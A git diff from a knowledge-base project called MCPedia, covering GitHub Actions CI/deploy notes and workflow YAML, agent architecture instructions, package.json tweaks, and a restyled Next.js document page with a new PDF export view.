subcommand flag — it prints usage and exits 0 (silent failure). Use
|
||||
`working-directory: X` in the step, or `cd X && bun run Y`. (Root cause of
|
||||
CI appearing to pass while the build never actually ran. This also affects
|
||||
the smoke test step: `bun --cwd apps/mcp run smoke` was silently failing.)
|
||||
- **`.next/` is a hidden directory.** `actions/upload-artifact@v4` excludes
|
||||
hidden files/dirs by default (`include-hidden-files: false`). Set
|
||||
`include-hidden-files: true` or the artifact will be empty.
|
||||
- **`workflow_run` cannot download artifacts from the CI run.** This is a
|
||||
known GitHub Actions limitation — the deploy workflow doesn't have access to
|
||||
the CI run's artifacts. **Fix:** merge CI + deploy into a single workflow with
|
||||
`deploy: needs: [build]`.
|
||||
- **`actions/checkout@v4` → Node 20 deprecation.** Bump to `@v5`.
|
||||
- **SCP'ing hundreds of individual files from `.next/` can time out.** Tar first,
|
||||
then SCP the single tarball: `tar -czf app.tar.gz .next`, SCP, then SSH to
|
||||
unpack. Also exclude `.next/cache/` to reduce size (~73MB → ~49MB).
|
||||
- **`download-artifact` path resolution.** When downloading with
|
||||
`path: apps/web/.next`, the artifact (which contains the `.next` directory
|
||||
contents from upload `path: apps/web/.next`) gets extracted correctly to
|
||||
`apps/web/.next/`. Do NOT use `path: .next` — that creates `.next/.next/`.
|
||||
|
||||
### Final working workflow (verified 2026-08-21)
|
||||
|
||||
```yaml
|
||||
name: CI
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
|
||||
concurrency:
|
||||
group: ci-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: typecheck + build
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Set up Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
with:
|
||||
bun-version: "1.3.14"
|
||||
|
||||
- name: Install dependencies
|
||||
run: bun install --frozen-lockfile
|
||||
|
||||
- name: Typecheck
|
||||
run: bun run typecheck
|
||||
|
||||
- name: Build web
|
||||
working-directory: apps/web
|
||||
run: bun run build
|
||||
|
||||
# Upload .next/ — include-hidden-files is REQUIRED (hidden dir)
|
||||
- name: Upload web build artifact
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: mcpedia-web-build
|
||||
path: apps/web/.next
|
||||
include-hidden-files: true
|
||||
if-no-files-found: error
|
||||
|
||||
# Smoke test: requires Postgres + Redis — skipped in CI without secrets
|
||||
- name: MCP smoke test
|
||||
if: env.DATABASE_URL != ''
|
||||
working-directory: apps/mcp
|
||||
env:
|
||||
DATABASE_URL: ${{ secrets.DATABASE_URL }}
|
||||
REDIS_URL: ${{ secrets.REDIS_URL }}
|
||||
run: bun run smoke
|
||||
|
||||
- name: Test
|
||||
run: bun run test
|
||||
|
||||
deploy:
|
||||
name: deploy to VPS
|
||||
needs: build
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Download build artifact
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: mcpedia-web-build
|
||||
path: apps/web/.next
|
||||
|
||||
- name: Tar .next
|
||||
run: tar -C apps/web --exclude='.next/cache' -czf mcpedia-web-next.tar.gz .next
|
||||
|
||||
- name: Copy tarball to VPS
|
||||
uses: appleboy/scp-action@v1
|
||||
with:
|
||||
host: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
port: ${{ secrets.SSH_DEPLOY_PORT }}
|
||||
username: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
key: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||
source: "mcpedia-web-next.tar.gz"
|
||||
target: "/tmp/"
|
||||
|
||||
- name: Unpack and restart on VPS
|
||||
uses: appleboy/ssh-action@v1
|
||||
with:
|
||||
host: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
port: ${{ secrets.SSH_DEPLOY_PORT }}
|
||||
username: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
key: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||
envs: SSH_DEPLOY_HOST
|
||||
script: |
|
||||
set -e
|
||||
cd /home/code/mcpedia
|
||||
git pull origin main
|
||||
/home/code/.bun/bin/bun install --frozen-lockfile
|
||||
/home/code/.bun/bin/bun run scripts/indexer.ts
|
||||
rm -rf apps/web/.next
|
||||
tar -xzf /tmp/mcpedia-web-next.tar.gz -C apps/web/
|
||||
rm -f /tmp/mcpedia-web-next.tar.gz
|
||||
sudo systemctl restart mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker
|
||||
sleep 3
|
||||
systemctl --no-pager status mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker --no-legend
|
||||
```
|
||||
|
||||
## Secrets to configure (per-repo GitHub secrets)
|
||||
|
||||
| Secret | Value | How |
|
||||
|--------|-------|-----|
|
||||
| `SSH_DEPLOY_HOST` | VPS public IP (e.g. `45.127.35.244`) | `gh secret set SSH_DEPLOY_HOST --body "45.127.35.244"` |
|
||||
| `SSH_DEPLOY_PORT` | `22` | `gh secret set SSH_DEPLOY_PORT --body "22"` |
|
||||
| `SSH_DEPLOY_USER` | `code` (or whatever user owns the services) | `gh secret set SSH_DEPLOY_USER --body "code"` |
|
||||
| `SSH_DEPLOY_KEY` | SSH deploy private key (ed25519) | `cat keyfile \| gh secret set SSH_DEPLOY_KEY` |
|
||||
|
||||
And on the VPS, add the public key to the deploy user's `authorized_keys`:
|
||||
```bash
|
||||
ssh code@<public-ip> "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys <<< '$(cat keyfile.pub)'"
|
||||
chmod 600 ~/.ssh/authorized_keys
|
||||
```
|
||||
|
||||
## CI monitoring
|
||||
|
||||
```bash
|
||||
gh run list --repo asepharyana/mcpedia --workflow "CI" --limit 3
|
||||
gh run view <run_id> --log-failed # only failing-step logs
|
||||
```
|
||||
@@ -10,12 +10,15 @@ This block is written and re-added by `next dev` — verify at `node_modules/nex
|
||||
|
||||
# MCPedia Agent Instructions
|
||||
|
||||
MCPedia is a content-first knowledge base where Markdown files under `content/` serve as the Git-tracked source of truth, indexed into PostgreSQL and accessed via Web UI, tRPC API, and Model Context Protocol (MCP).
|
||||
MCPedia is a content-first knowledge base where documents are stored in **PostgreSQL** as the source of truth (with auto-generated .md backups on disk), indexed into embeddings + search vectors, and accessed via Web UI, tRPC API, and Model Context Protocol (MCP).
|
||||
|
||||
- **DB-first**: Documents are created/updated/deleted via the MCP `create_document`/`update_document`/`delete_document` tools (require `x-webhook-secret`). Filesystem `.md` files in `content/` are auto-generated backups (gitignored).
|
||||
- **Git-sync deploy**: CI builds `.next` on GitHub Actions → tarball → SCP to VPS → unpack. VPS never builds. Content changes flow via MCP API to the DB directly.
|
||||
|
||||
## Architecture Principles
|
||||
|
||||
1. **Single Core Layer (`@mcpedia/core`)**: All business logic (document CRUD, indexing, search, revisions, path classification) resides in `packages/core`. Never access the database directly from `apps/web`, `apps/mcp`, or `apps/api`.
|
||||
2. **Content as Source of Truth**: Markdown files in `content/` with YAML frontmatter are the primary data store. The database stores metadata, search vectors, embeddings, and revision history.
|
||||
2. **DB as Source of Truth**: PostgreSQL stores document body + metadata. Filesystem `.md` files in `content/` are auto-generated backups (gitignored). Use the MCP `create_document`/`update_document` tools to write content.
|
||||
3. **Multi-Modal Search**: Keyword search (Postgres FTS `tsvector` + GIN), Semantic search (cosine similarity over chunked embeddings), and Hybrid search (Reciprocal Rank Fusion / RRF) are unified in `@mcpedia/search`.
|
||||
4. **Mutations & Security**: State-changing operations (document creation/updates/deletions, reindexing, revision restoration) require authentication (`x-webhook-secret` header or session cookie).
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
"start": "bun run src/index.ts",
|
||||
"chat": "bun run src/index.ts",
|
||||
"ask": "bun run src/ask.ts",
|
||||
"lint": "bun run lint",
|
||||
"lint": "tsc --noEmit",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"build": "bun build src/index.ts --outdir=dist --format=esm",
|
||||
"test": "bun test"
|
||||
@@ -20,7 +20,7 @@
|
||||
"zod": "^4.0.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^20",
|
||||
"@types/node": "^26",
|
||||
"typescript": "^5.6.0"
|
||||
}
|
||||
}
|
||||
@@ -23,7 +23,7 @@
|
||||
"zod": "^4.0.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^20",
|
||||
"@types/node": "^26",
|
||||
"typescript": "^5.6.0"
|
||||
}
|
||||
}
|
||||
@@ -1,21 +1,37 @@
|
||||
import Link from "next/link";
|
||||
import { notFound } from "next/navigation";
|
||||
import { cookies } from "next/headers";
|
||||
import { getDocument, getRelated, listRevisions, listDocuments } from "@mcpedia/core";
|
||||
import { getDocument, getRelated, listRevisions, listDocuments, getExportDocuments } from "@mcpedia/core";
|
||||
import { WEBHOOK_SECRET } from "@mcpedia/config";
|
||||
import Markdown from "@/components/Markdown";
|
||||
import DocForm from "@/components/DocForm";
|
||||
import TOC from "@/components/TOC";
|
||||
import DocActions from "@/components/DocActions";
|
||||
import PdfExportView from "@/components/PdfExportView";
|
||||
import { classifyPath, extractFoldersForSection } from "@mcpedia/core";
|
||||
import { getSectionMeta } from "@mcpedia/config";
|
||||
import type { DocumentMeta } from "@mcpedia/core";
|
||||
import {
|
||||
Folder,
|
||||
FileText,
|
||||
Clock,
|
||||
History,
|
||||
FileDown,
|
||||
ArrowLeft,
|
||||
Sparkles,
|
||||
CheckCircle2,
|
||||
XCircle,
|
||||
Target,
|
||||
Trophy,
|
||||
Zap,
|
||||
Tag,
|
||||
} from "lucide-react";
|
||||
|
||||
export const dynamic = "force-dynamic";
|
||||
|
||||
interface DocPageProps {
|
||||
params: Promise<{ section: string; slug: string[] }>;
|
||||
searchParams: Promise<{ edit?: string }>;
|
||||
searchParams: Promise<{ edit?: string; path?: string; sort?: string }>;
|
||||
}
|
||||
|
||||
function getSectionInfo(section: string) {
|
||||
@@ -48,44 +64,41 @@ function CustomFieldBadges({
|
||||
{customEntries.map(([key, value]) => {
|
||||
const label = key.charAt(0).toUpperCase() + key.slice(1).replace(/_/g, " ");
|
||||
let colorClass = "bg-[var(--bg-elevated)] border-[var(--border-color)] text-[var(--text-secondary)]";
|
||||
let icon = "🏷️";
|
||||
let displayValue: string;
|
||||
let IconComponent = Tag;
|
||||
|
||||
if (typeof value === "number") {
|
||||
colorClass = "bg-[#5e6ad2]/10 border-[#5e6ad2]/30 text-[#5e6ad2] dark:text-[#7170ff]";
|
||||
icon = "🎯";
|
||||
colorClass = "bg-[var(--bg-elevated)] border-[var(--border-color)] text-[var(--text-primary)] font-semibold";
|
||||
IconComponent = Target;
|
||||
displayValue = `${value} pts`;
|
||||
} else if (typeof value === "boolean") {
|
||||
colorClass = value
|
||||
? "bg-emerald-500/10 border-emerald-500/30 text-emerald-600 dark:text-emerald-400"
|
||||
: "bg-rose-500/10 border-rose-500/30 text-rose-600 dark:text-rose-400";
|
||||
icon = value ? "✓" : "✕";
|
||||
? "bg-emerald-500/10 border-emerald-500/30 text-emerald-600 dark:text-emerald-400 font-semibold"
|
||||
: "bg-rose-500/10 border-rose-500/30 text-rose-600 dark:text-rose-400 font-semibold";
|
||||
IconComponent = value ? CheckCircle2 : XCircle;
|
||||
displayValue = value ? "Solved" : "Pending";
|
||||
} else if (Array.isArray(value)) {
|
||||
colorClass = "bg-[#5e6ad2]/10 border-[#5e6ad2]/30 text-[#5e6ad2] dark:text-[#7170ff]";
|
||||
icon = "🗂️";
|
||||
colorClass = "bg-[var(--bg-elevated)] border-[var(--border-color)] text-[var(--text-secondary)]";
|
||||
IconComponent = Folder;
|
||||
displayValue = value.join(", ");
|
||||
} else {
|
||||
const v = String(value).toLowerCase();
|
||||
if (/^(easy|simple|beginner)/i.test(v)) {
|
||||
colorClass = "bg-emerald-500/10 border-emerald-500/30 text-emerald-600 dark:text-emerald-400";
|
||||
icon = "🟢";
|
||||
colorClass = "bg-emerald-500/10 border-emerald-500/30 text-emerald-600 dark:text-emerald-400 font-semibold";
|
||||
displayValue = "Easy";
|
||||
} else if (/^(medium|intermediate)/i.test(v)) {
|
||||
colorClass = "bg-amber-500/10 border-amber-500/30 text-amber-600 dark:text-amber-400";
|
||||
icon = "🟡";
|
||||
colorClass = "bg-amber-500/10 border-amber-500/30 text-amber-600 dark:text-amber-400 font-semibold";
|
||||
displayValue = "Medium";
|
||||
} else if (/^(hard|expert|advanced)/i.test(v)) {
|
||||
colorClass = "bg-rose-500/10 border-rose-500/30 text-rose-600 dark:text-rose-400";
|
||||
icon = "🔴";
|
||||
colorClass = "bg-rose-500/10 border-rose-500/30 text-rose-600 dark:text-rose-400 font-semibold";
|
||||
displayValue = "Hard";
|
||||
} else if (/^(pwn|web|crypto|misc|forensic|reverse|binary)/i.test(v)) {
|
||||
colorClass = "bg-indigo-500/10 border-indigo-500/30 text-indigo-600 dark:text-indigo-300";
|
||||
icon = "⚡";
|
||||
colorClass = "bg-[var(--bg-elevated)] border-[var(--border-color)] text-[var(--text-primary)] font-bold";
|
||||
IconComponent = Zap;
|
||||
displayValue = v.toUpperCase();
|
||||
} else if (/ctf|def.?con|event/i.test(v)) {
|
||||
colorClass = "bg-[#5e6ad2]/10 border-[#5e6ad2]/30 text-[#5e6ad2] dark:text-[#7170ff]";
|
||||
icon = "🏆";
|
||||
colorClass = "bg-[var(--bg-elevated)] border-[var(--border-color)] text-[var(--text-primary)]";
|
||||
IconComponent = Trophy;
|
||||
displayValue = String(value);
|
||||
} else {
|
||||
displayValue = String(value);
|
||||
@@ -97,9 +110,9 @@ function CustomFieldBadges({
|
||||
key={key}
|
||||
className={`inline-flex items-center gap-1.5 px-2.5 py-1 border rounded-md text-xs font-mono transition-colors ${colorClass}`}
|
||||
>
|
||||
<span className="text-[10px] opacity-70">{icon}</span>
|
||||
<IconComponent className="w-3.5 h-3.5 opacity-80" />
|
||||
<span className="text-[var(--text-muted)] font-sans">{label}:</span>
|
||||
<span className="font-medium">{displayValue}</span>
|
||||
<span>{displayValue}</span>
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
@@ -145,9 +158,9 @@ function FolderIndexPage({
|
||||
const folderName = slug.split("/").pop()!.split(/[-_]/).map((w) => w.charAt(0).toUpperCase() + w.slice(1)).join(" ");
|
||||
|
||||
return (
|
||||
<div>
|
||||
{/* Breadcrumb */}
|
||||
<nav className="flex items-center gap-2 text-xs text-[var(--text-dim)] mb-6 flex-wrap">
|
||||
<div className="space-y-8">
|
||||
{/* Breadcrumb Navigation */}
|
||||
<nav className="flex items-center gap-2 text-xs text-[var(--text-dim)] flex-wrap">
|
||||
<Link href="/" className="hover:text-[var(--text-primary)] transition-colors">
|
||||
MCPedia
|
||||
</Link>
|
||||
@@ -170,48 +183,59 @@ function FolderIndexPage({
|
||||
})}
|
||||
</nav>
|
||||
|
||||
{/* Header card */}
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 mb-8 shadow-sm">
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="w-10 h-10 rounded-lg bg-[var(--bg-elevated)] border border-[var(--border-color)] flex items-center justify-center text-xl">
|
||||
📁
|
||||
{/* Header Card */}
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 shadow-xs">
|
||||
<div className="flex flex-col sm:flex-row sm:items-start justify-between gap-4">
|
||||
<div className="flex items-center gap-3.5">
|
||||
<div className="w-10 h-10 rounded-lg bg-[var(--bg-elevated)] border border-[var(--border-color)] flex items-center justify-center text-[var(--text-primary)]">
|
||||
<Folder className="w-5 h-5" />
|
||||
</div>
|
||||
<div>
|
||||
<h1 className="text-2xl sm:text-3xl font-bold text-[var(--text-primary)] tracking-tight">
|
||||
<h1 className="text-2xl font-bold text-[var(--text-primary)] tracking-tight">
|
||||
{folderName}
|
||||
</h1>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-0.5">
|
||||
Directory path: <code className="text-[#5e6ad2] dark:text-[#7170ff] font-mono">{section}/{slug}</code>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-0.5 font-mono">
|
||||
Directory: <code>{section}/{slug}</code>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<span className="text-xs font-mono text-[var(--text-muted)] bg-[var(--bg-elevated)] border border-[var(--border-color)] px-2.5 py-1 rounded-md">
|
||||
{immediateDocs.length + folders.length} item{folders.length + immediateDocs.length !== 1 ? "s" : ""}
|
||||
</span>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs font-mono text-[var(--text-muted)] bg-[var(--bg-elevated)] border border-[var(--border-color)] px-2.5 py-1 rounded">
|
||||
{immediateDocs.length + folders.length} item{folders.length + immediateDocs.length !== 1 ? "s" : ""}
|
||||
</span>
|
||||
<Link
|
||||
href={`/${section}/${slug}/export`}
|
||||
className="inline-flex items-center gap-1.5 text-xs bg-[var(--brand)] hover:opacity-90 text-[var(--brand-fg)] px-3 py-1.5 rounded font-semibold transition-all shadow-xs"
|
||||
title={`Export all ${folderName} documents as a single PDF report`}
|
||||
>
|
||||
<FileDown className="w-3.5 h-3.5" />
|
||||
<span>Export PDF</span>
|
||||
</Link>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Subfolders */}
|
||||
{/* Subfolders Grid */}
|
||||
{folders.length > 0 && (
|
||||
<div className="mb-8">
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase mb-3 tracking-wider flex items-center gap-2">
|
||||
<span>Subfolders</span>
|
||||
<span className="text-[10px] text-[var(--text-dim)]">({folders.length})</span>
|
||||
<div>
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase mb-3 tracking-wider font-mono flex items-center gap-2">
|
||||
<Folder className="w-3.5 h-3.5 text-[var(--text-muted)]" />
|
||||
<span>Subfolders ({folders.length})</span>
|
||||
</h2>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-3">
|
||||
{folders.map(([folder, info]) => (
|
||||
<Link
|
||||
key={folder}
|
||||
href={`/${section}/${slug}/${folder}`.replace(/\/+/g, "/")}
|
||||
className="group flex items-center gap-3 p-3.5 bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-lg transition-all shadow-sm"
|
||||
className="group flex items-center gap-3 p-3.5 bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-lg transition-colors shadow-xs"
|
||||
>
|
||||
<span className="text-2xl group-hover:scale-110 transition-transform">📁</span>
|
||||
<Folder className="w-4 h-4 text-[var(--text-muted)]" />
|
||||
<div className="flex-1 min-w-0">
|
||||
<div className="text-sm font-semibold text-[var(--text-primary)] group-hover:text-[#5e6ad2] dark:group-hover:text-[#7170ff] transition-colors truncate">
|
||||
<div className="text-xs font-semibold text-[var(--text-primary)] group-hover:underline truncate">
|
||||
{folder.split(/[-_]/).map((w) => w.charAt(0).toUpperCase() + w.slice(1)).join(" ")}
|
||||
</div>
|
||||
<div className="text-xs text-[var(--text-muted)] mt-0.5 font-mono">
|
||||
<div className="text-[11px] text-[var(--text-muted)] font-mono mt-0.5">
|
||||
{info.docCount} document{info.docCount !== 1 ? "s" : ""}
|
||||
</div>
|
||||
</div>
|
||||
@@ -221,32 +245,32 @@ function FolderIndexPage({
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Documents */}
|
||||
{/* Documents List */}
|
||||
{immediateDocs.length > 0 && (
|
||||
<div>
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase mb-3 tracking-wider flex items-center gap-2">
|
||||
<span>Documents</span>
|
||||
<span className="text-[10px] text-[var(--text-dim)]">({immediateDocs.length})</span>
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase mb-3 tracking-wider font-mono flex items-center gap-2">
|
||||
<FileText className="w-3.5 h-3.5 text-[var(--text-muted)]" />
|
||||
<span>Documents ({immediateDocs.length})</span>
|
||||
</h2>
|
||||
<div className="space-y-2">
|
||||
{immediateDocs.map((doc) => (
|
||||
<Link
|
||||
key={doc.slug}
|
||||
href={`/${doc.slug}`}
|
||||
className="group flex items-center justify-between gap-4 p-4 bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-lg transition-all shadow-sm"
|
||||
className="group flex items-center justify-between gap-4 p-4 bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-lg transition-colors shadow-xs"
|
||||
>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-xl opacity-70 group-hover:opacity-100">📄</span>
|
||||
<FileText className="w-4 h-4 text-[var(--text-muted)] shrink-0" />
|
||||
<div className="min-w-0">
|
||||
<div className="text-sm font-semibold text-[var(--text-primary)] group-hover:text-[#5e6ad2] dark:group-hover:text-[#7170ff] transition-colors truncate">
|
||||
<div className="text-xs sm:text-sm font-semibold text-[var(--text-primary)] group-hover:underline truncate">
|
||||
{doc.title}
|
||||
</div>
|
||||
{doc.tags.length > 0 && (
|
||||
<div className="flex flex-wrap gap-1.5 mt-1.5">
|
||||
<div className="flex flex-wrap gap-1 mt-1.5">
|
||||
{doc.tags.slice(0, 4).map((t) => (
|
||||
<span
|
||||
key={t}
|
||||
className="text-[11px] px-1.5 py-0.25 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)]"
|
||||
className="text-[10px] px-1.5 py-0.2 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)] font-mono"
|
||||
>
|
||||
#{t}
|
||||
</span>
|
||||
@@ -255,11 +279,15 @@ function FolderIndexPage({
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<time className="text-xs text-[var(--text-dim)] shrink-0 font-mono">
|
||||
{new Date(doc.updatedAt).toLocaleDateString(undefined, {
|
||||
month: "short",
|
||||
day: "numeric",
|
||||
})}
|
||||
|
||||
<time className="text-xs text-[var(--text-dim)] shrink-0 font-mono flex items-center gap-1">
|
||||
<Clock className="w-3 h-3" />
|
||||
<span>
|
||||
{new Date(doc.updatedAt).toLocaleDateString(undefined, {
|
||||
month: "short",
|
||||
day: "numeric",
|
||||
})}
|
||||
</span>
|
||||
</time>
|
||||
</Link>
|
||||
))}
|
||||
@@ -268,8 +296,8 @@ function FolderIndexPage({
|
||||
)}
|
||||
|
||||
{folders.length === 0 && immediateDocs.length === 0 && (
|
||||
<div className="text-center py-12 border border-[var(--border-color)] rounded-xl bg-[var(--bg-surface)]">
|
||||
<p className="text-sm text-[var(--text-muted)]">No documents found in this directory.</p>
|
||||
<div className="text-center py-12 border border-[var(--border-color)] rounded-lg bg-[var(--bg-surface)]">
|
||||
<p className="text-sm text-[var(--text-muted)]">No documents in this directory.</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
@@ -278,7 +306,23 @@ function FolderIndexPage({
|
||||
|
||||
export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
const { section, slug } = await params;
|
||||
const { edit } = await searchParams;
|
||||
const searchParamsObj = await searchParams;
|
||||
const { edit, path: queryPath, sort } = searchParamsObj;
|
||||
|
||||
// Handle direct export views
|
||||
if (section === "export" || (slug && slug[slug.length - 1] === "export")) {
|
||||
const isTrailingExport = slug && slug[slug.length - 1] === "export";
|
||||
const targetSlug = isTrailingExport ? slug.slice(0, -1) : slug;
|
||||
const targetPath = queryPath || (targetSlug.length > 0 ? `${section}/${targetSlug.join("/")}` : section);
|
||||
const exportData = await getExportDocuments({
|
||||
path: targetPath === "export" ? queryPath : targetPath,
|
||||
section: targetPath === section ? section : undefined,
|
||||
sortBy: (sort as any) || "category_points",
|
||||
});
|
||||
const backHref = targetPath && targetPath !== "export" ? `/${targetPath}` : section !== "export" ? `/${section}` : "/";
|
||||
return <PdfExportView exportData={exportData} backHref={backHref} />;
|
||||
}
|
||||
|
||||
const fullSlug = `${section}/${slug.join("/")}`;
|
||||
|
||||
const allDocs = await listDocuments();
|
||||
@@ -304,14 +348,15 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
if (edit === "1" && canEdit) {
|
||||
const existingFolders = extractFoldersForSection(docSlugs, doc.section);
|
||||
return (
|
||||
<div>
|
||||
<div className="space-y-6">
|
||||
<Link
|
||||
href={`/${doc.slug}`}
|
||||
className="inline-flex items-center gap-1 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] mb-4 transition-colors"
|
||||
className="inline-flex items-center gap-1.5 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] transition-colors"
|
||||
>
|
||||
<span>← Back to document</span>
|
||||
<ArrowLeft className="w-3.5 h-3.5" />
|
||||
<span>Back to document</span>
|
||||
</Link>
|
||||
<h1 className="text-2xl font-bold text-[var(--text-primary)] mb-6">
|
||||
<h1 className="text-2xl font-bold text-[var(--text-primary)] tracking-tight">
|
||||
Edit: {doc.title}
|
||||
</h1>
|
||||
<DocForm
|
||||
@@ -346,8 +391,8 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
<div className="flex items-start gap-8">
|
||||
{/* Main Content Column */}
|
||||
<article className="flex-1 min-w-0">
|
||||
{/* Breadcrumb */}
|
||||
<nav className="flex items-center gap-2 text-xs text-[var(--text-dim)] mb-4 flex-wrap">
|
||||
{/* Breadcrumbs Navigation */}
|
||||
<nav className="flex items-center gap-2 text-xs text-[var(--text-dim)] mb-4 flex-wrap font-mono">
|
||||
<Link href="/" className="hover:text-[var(--text-primary)] transition-colors">
|
||||
MCPedia
|
||||
</Link>
|
||||
@@ -362,7 +407,7 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
<span>/</span>
|
||||
<Link
|
||||
href={`/${crumbPath}`}
|
||||
className={isLast ? "text-[var(--text-primary)] font-semibold" : "hover:text-[var(--text-primary)] transition-colors"}
|
||||
className={isLast ? "text-[var(--text-primary)] font-semibold font-sans" : "hover:text-[var(--text-primary)] transition-colors font-sans"}
|
||||
>
|
||||
{label}
|
||||
</Link>
|
||||
@@ -372,24 +417,26 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
</nav>
|
||||
|
||||
{/* Hero Metadata Card */}
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 mb-8 shadow-sm">
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 sm:p-7 mb-8 shadow-xs">
|
||||
<div className="flex flex-col sm:flex-row sm:items-start justify-between gap-4 mb-4">
|
||||
<div className="flex-1 min-w-0">
|
||||
<div className="flex items-center gap-2 mb-2 flex-wrap">
|
||||
<span className="inline-flex items-center gap-1 px-2 py-0.5 rounded text-xs font-mono font-medium bg-[#5e6ad2]/15 text-[#5e6ad2] dark:text-[#7170ff] border border-[#5e6ad2]/30">
|
||||
<div className="flex items-center gap-2 mb-2 flex-wrap text-xs">
|
||||
<span className="inline-flex items-center gap-1 px-2 py-0.5 rounded text-xs font-mono font-bold bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-primary)] uppercase">
|
||||
<span>{sectionInfo.icon}</span>
|
||||
<span className="uppercase">{sectionInfo.label}</span>
|
||||
</span>
|
||||
<span className="text-xs text-[var(--text-dim)]">·</span>
|
||||
<span className="text-xs text-[var(--text-muted)]">
|
||||
{doc.type.charAt(0).toUpperCase() + doc.type.slice(1)}
|
||||
<span>{sectionInfo.label}</span>
|
||||
</span>
|
||||
<span className="text-xs text-[var(--text-dim)]">·</span>
|
||||
<span className="text-xs text-[var(--text-muted)] font-mono">
|
||||
{readingTime}
|
||||
{doc.type}
|
||||
</span>
|
||||
<span className="text-xs text-[var(--text-dim)]">·</span>
|
||||
<span className="text-xs text-[var(--text-muted)] font-mono flex items-center gap-1">
|
||||
<Clock className="w-3 h-3" />
|
||||
<span>{readingTime}</span>
|
||||
</span>
|
||||
</div>
|
||||
<h1 className="text-2xl sm:text-3xl font-bold text-[var(--text-primary)] tracking-tight leading-tight">
|
||||
|
||||
<h1 className="text-2xl sm:text-3xl font-extrabold text-[var(--text-primary)] tracking-tight leading-tight">
|
||||
{doc.title}
|
||||
</h1>
|
||||
</div>
|
||||
@@ -398,24 +445,27 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
<DocActions slug={doc.slug} body={doc.body} canEdit={canEdit} />
|
||||
</div>
|
||||
|
||||
{/* Author + Date + Tags */}
|
||||
<div className="flex flex-wrap items-center gap-3 text-xs text-[var(--text-muted)] pt-3 border-t border-[var(--border-color)]">
|
||||
{/* Author, Date, Tags */}
|
||||
<div className="flex flex-wrap items-center gap-3 text-xs text-[var(--text-muted)] pt-3.5 border-t border-[var(--border-color)]">
|
||||
{doc.author && (
|
||||
<div className="flex items-center gap-1.5">
|
||||
<div className="w-4 h-4 rounded-full bg-[#5e6ad2] text-white flex items-center justify-center text-[10px] font-bold">
|
||||
<div className="w-4 h-4 rounded bg-[var(--brand)] text-[var(--brand-fg)] flex items-center justify-center text-[10px] font-bold font-mono">
|
||||
{doc.author.charAt(0).toUpperCase()}
|
||||
</div>
|
||||
<span className="text-[var(--text-secondary)]">{doc.author}</span>
|
||||
<span className="text-[var(--text-secondary)] font-medium">{doc.author}</span>
|
||||
<span className="text-[var(--text-dim)]">·</span>
|
||||
</div>
|
||||
)}
|
||||
<span>
|
